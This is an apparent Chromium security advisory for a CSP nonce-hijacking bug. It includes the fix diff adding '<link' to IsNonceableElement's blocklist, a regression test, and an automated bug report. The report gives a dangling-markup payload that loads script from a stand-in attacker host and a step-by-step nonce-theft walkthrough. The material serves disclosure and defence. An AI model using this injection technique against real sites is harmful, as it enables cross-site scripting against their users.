Overview

Low
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactPolicy bypass in Content Security Policy
DescriptionPolicy bypass in Content Security Policy
ComponentContent Security Policy
Bug ClassLogic Error
Tracker500099106
Fix commit8da022a56466 (chromium/src) +40/-3
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-02

Changed Functions

FunctionChangeNotes
if
third_party/blink/renderer/core/frame/csp/content_security_policy.cc
modified
TEST_F
third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
modified
for
third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
modified

Files Changed

  • third_party/blink/renderer/core/frame/csp/content_security_policy.cc
  • third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
From 8da022a564667c47b5e0be16b2e20f63209ad97b Mon Sep 17 00:00:00 2001
From: Mike West <[email protected]>
Date: Wed, 08 Apr 2026 01:39:21 -0700
Subject: [PATCH] [CSP] Add `<link` to nonceable element checks.

We cover `<script` and `<style`, but `<link>` is also a nonceable
element, so we should check for `<link` as well.

Bug: 500099106
Change-Id: I468e6ec06339ac6c03ba379b3b5847a1e1e7f39c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7735434
Reviewed-by: Antonio Sartori <[email protected]>
Commit-Queue: Mike West <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1611310}
---

diff --git a/third_party/blink/renderer/core/frame/csp/content_security_policy.cc b/third_party/blink/renderer/core/frame/csp/content_security_policy.cc
index 0ddb753a..33399df 100644
--- a/third_party/blink/renderer/core/frame/csp/content_security_policy.cc
+++ b/third_party/blink/renderer/core/frame/csp/content_security_policy.cc
@@ -228,8 +228,8 @@
 
   // To prevent an attacker from hijacking an existing nonce via a dangling
   // markup injection, we walk through the attributes of each nonced script
-  // element: if their names or values contain "<script" or "<style", we won't
-  // apply the nonce when loading script.
+  // element: if their names or values contain "<script", "<style", or "<link",
+  // we won't apply the nonce when loading script.
   //
   // See http://blog.innerht.ml/csp-2015/#danglingmarkupinjection for an example
   // of the kind of attack this is aimed at mitigating.
@@ -240,13 +240,16 @@
   if (nonceable) {
     static const char kScriptString[] = "<SCRIPT";
     static const char kStyleString[] = "<STYLE";
+    static const char kLinkString[] = "<LINK";
     for (const Attribute& attr : element->Attributes()) {
       const AtomicString& name = attr.LocalName();
       const AtomicString& value = attr.Value();
       if (name.FindIgnoringAsciiCase(kScriptString) != kNotFound ||
           name.FindIgnoringAsciiCase(kStyleString) != kNotFound ||
+          name.FindIgnoringAsciiCase(kLinkString) != kNotFound ||
           value.FindIgnoringAsciiCase(kScriptString) != kNotFound ||
-          value.FindIgnoringAsciiCase(kStyleString) != kNotFound) {
+          value.FindIgnoringAsciiCase(kStyleString) != kNotFound ||
+          value.FindIgnoringAsciiCase(kLinkString) != kNotFound) {
         nonceable = false;
         break;
       }
diff --git a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
index 8e4014f..789a9fd 100644
--- a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
+++ b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
@@ -1852,4 +1852,38 @@
                 kSyntheticResponseBlockedResourceCountHistogramName),
             2);
 }
+
+TEST_F(ContentSecurityPolicyTest, IsNonceableElement) {
+  auto dummy = std::make_unique<DummyPageHolder>();
+  auto* window = dummy->GetFrame().DomWindow();
+
+  struct TestCase {
+    const char* tag;
+    const char* attr_name;
+    const char* attr_value;
+    bool expected_nonceable;
+  } cases[] = {
+      {"script", "src", "https://example.com/js", true},
+      {"script", "data-foo", "<script", false},
+      {"script", "<script", "foo", false},
+      {"script", "data-foo", "<style", false},
+      {"script", "<style", "foo", false},
+      {"script", "<link", "foo", false},
+      {"script", "data-foo", "<link", false},
+  };
+
+  for (const auto& test : cases) {
+    auto* element = window->document()->CreateRawElement(QualifiedName(
+        AtomicString(), AtomicString(test.tag), html_names::xhtmlNamespaceURI));
+    element->setAttribute(AtomicString(test.attr_name),
+                          AtomicString(test.attr_value));
+    element->setNonce(AtomicString("abc"));
+
+    EXPECT_EQ(test.expected_nonceable,
+              ContentSecurityPolicy::IsNonceableElement(element))
+        << "Tag: " << test.tag << ", Attr: " << test.attr_name << "=\""
+        << test.attr_value << "\"";
+  }
+}
+
 }  // namespace blink
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
index 8e4014f..789a9fd 100644
--- a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
+++ b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
@@ -1852,4 +1852,38 @@
                 kSyntheticResponseBlockedResourceCountHistogramName),
             2);
 }
+
+TEST_F(ContentSecurityPolicyTest, IsNonceableElement) {
+  auto dummy = std::make_unique<DummyPageHolder>();
+  auto* window = dummy->GetFrame().DomWindow();
+
+  struct TestCase {
+    const char* tag;
+    const char* attr_name;
+    const char* attr_value;
+    bool expected_nonceable;
+  } cases[] = {
+      {"script", "src", "https://example.com/js", true},
+      {"script", "data-foo", "<script", false},
+      {"script", "<script", "foo", false},
+      {"script", "data-foo", "<style", false},
+      {"script", "<style", "foo", false},
+      {"script", "<link", "foo", false},
+      {"script", "data-foo", "<link", false},
+  };
+
+  for (const auto& test : cases) {
+    auto* element = window->document()->CreateRawElement(QualifiedName(
+        AtomicString(), AtomicString(test.tag), html_names::xhtmlNamespaceURI));
+    element->setAttribute(AtomicString(test.attr_name),
+                          AtomicString(test.attr_value));
+    element->setNonce(AtomicString("abc"));
+
+    EXPECT_EQ(test.expected_nonceable,
+              ContentSecurityPolicy::IsNonceableElement(element))
+        << "Tag: " << test.tag << ", Attr: " << test.attr_name << "=\""
+        << test.attr_value << "\"";
+  }
+}
+
 }  // namespace blink
Loading diff…

Original Bug Report

reported by [email protected]

CSP nonce hijacking via missing '<LINK' blocklist in IsNonceableElement

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.

Overview: The IsNonceableElement function in Blink’s CSP implementation fails to include <LINK in its blocklist of forbidden attribute substrings. This allows an attacker to use a dangling markup injection to swallow a subsequent valid <link> tag and steal its nonce. If the site shares nonces between script-src and style-src, this can bypass CSP and lead to Cross-Site Scripting (XSS).

Affected files:

  • third_party/blink/renderer/core/frame/csp/content_security_policy.cc

Estimated timestamp from git blame: 2026-02-16

Summary

There is a potential vulnerability in how Blink enforces Content Security Policy (CSP) nonces against dangling markup injections. The function ContentSecurityPolicy::IsNonceableElement, which is designed to prevent injected tags from stealing nonces from legitimate tags, contains an incomplete blocklist. It blocks attributes containing <SCRIPT or <STYLE, but fails to block <LINK. This allows an attacker to hijack a nonce from a <link> tag, bypassing CSP if the nonce is shared with script-src.

Technical Details

When the HTML tokenizer encounters an unclosed tag, it can absorb subsequent markup into the unclosed tag as attributes. This is a known vector for stealing attributes like nonces.

To mitigate this, third_party/blink/renderer/core/frame/csp/content_security_policy.cc implements IsNonceableElement. Before returning a nonce for CSP evaluation, it scans all attribute names and values of an element. If any contain the substrings <SCRIPT or <STYLE (case-insensitive), it assumes the element is the result of a dangling markup injection and ignores the nonce.

// content_security_policy.cc:241-249
static const char kScriptString[] = "<SCRIPT";
static const char kStyleString[] = "<STYLE";
for (const Attribute& attr : element->Attributes()) {
  const AtomicString& name = attr.LocalName();
  const AtomicString& value = attr.Value();
  if (name.FindIgnoringAsciiCase(kScriptString) != kNotFound ||
      name.FindIgnoringAsciiCase(kStyleString) != kNotFound ||
      // ...

However, this blocklist does not include <LINK.

Attack Vector

If a page uses a shared nonce for script-src and style-src (a common practice) and contains a nonced stylesheet link, an attacker can exploit this.

Victim HTML:

<div id="injection-point">
  <!-- Attacker injects: <script src=//attacker.test/x.js  -->
</div>
<link rel=stylesheet nonce="abc" href=legit.css>
<script nonce="abc">/* legitimate script */</script>

Suggested Steps to Trigger: (Note: These are potential steps based on code analysis; a live Proof of Concept has not been executed).

  1. The attacker injects <script src="//attacker.test/x.js" (note the trailing space and omitted closing bracket).
  2. The HTMLTokenizer parses the src attribute. It then enters kBeforeAttributeNameState.
  3. It encounters the < from the victim’s <link tag. In kBeforeAttributeNameState, a < character triggers a ParseError, but the tokenizer recovers by creating a new attribute that starts with < (html_tokenizer.cc:846).
  4. The tokenizer enters kAttributeNameState and appends l, i, n, k to the attribute name.
  5. Subsequent parts of the victim’s tag (rel="stylesheet", nonce="abc", etc.) are parsed as further attributes of the attacker’s script.
  6. The > from the victim’s tag closes the attacker’s script tag.
  7. The resulting HTMLScriptElement has an attribute named <link and the stolen nonce="abc".
  8. When the browser checks the CSP, ScriptLoader::PrepareScript calls HTMLScriptElement::GetNonceForElement(), which calls IsNonceableElement.
  9. Because <link is not in the <SCRIPT / <STYLE blocklist, IsNonceableElement returns true.
  10. The stolen nonce matches the script-src CSP directive, and the malicious script executes.

Suggested Fix

Add <LINK to the blocklist in ContentSecurityPolicy::IsNonceableElement.

static const char kScriptString[] = "<SCRIPT";
static const char kStyleString[] = "<STYLE";
static const char kLinkString[] = "<LINK";
// ... add checks for kLinkString

Evaluated with Chrome root at commit: f200f57a19490707ff8bc7aa5de3cbc443a3afad


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker